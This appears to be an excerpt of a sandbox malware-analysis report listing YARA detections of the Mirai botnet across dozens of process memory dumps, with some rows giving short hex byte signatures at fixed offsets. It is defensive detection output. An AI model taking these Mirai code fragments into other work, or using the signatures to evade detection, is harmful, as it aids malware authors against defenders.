6878.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6878.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6878.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6878.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6878.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6878.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6981.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6981.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6981.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6981.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6981.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6981.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6827.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6827.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6827.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6827.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6827.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6827.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6492.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6492.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6492.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6492.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6492.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6492.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6420.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6420.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6420.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6420.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6420.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6420.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6713.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6713.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6713.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6713.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6713.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6713.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6392.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6392.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6392.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6392.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6392.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6392.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7327.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7327.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7327.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7327.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7327.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7327.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6946.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6946.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6946.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6946.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6946.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6946.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6287.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6287.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6287.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6287.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6287.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6287.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7292.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7292.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7292.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7292.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7292.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7292.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7103.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7103.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7103.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7103.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7103.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7103.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6702.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6702.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6702.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6702.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6702.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6702.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7225.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7225.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7225.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7225.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7225.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7225.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6513.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7217.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7217.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7217.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7217.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7217.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7217.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6336.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6336.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6336.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6336.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6336.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6336.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6594.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6594.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6594.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6594.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6594.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6594.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7390.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7390.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7390.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7390.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7390.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7390.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6926.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6926.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6926.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6926.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6926.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6926.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6671.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6671.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6671.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6671.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6671.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6671.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6273.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6273.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6273.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6273.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6273.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6273.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7269.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7269.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7269.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7269.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7269.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7269.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7154.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7154.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7154.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7154.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7154.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7154.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7081.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7081.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7081.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7081.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7081.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7081.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7373.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7373.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7373.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7373.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7373.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7373.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7146.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7146.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7146.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7146.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7146.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7146.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6405.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6405.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6405.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6405.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6405.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6405.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6873.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6873.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6873.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6873.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6873.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6873.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
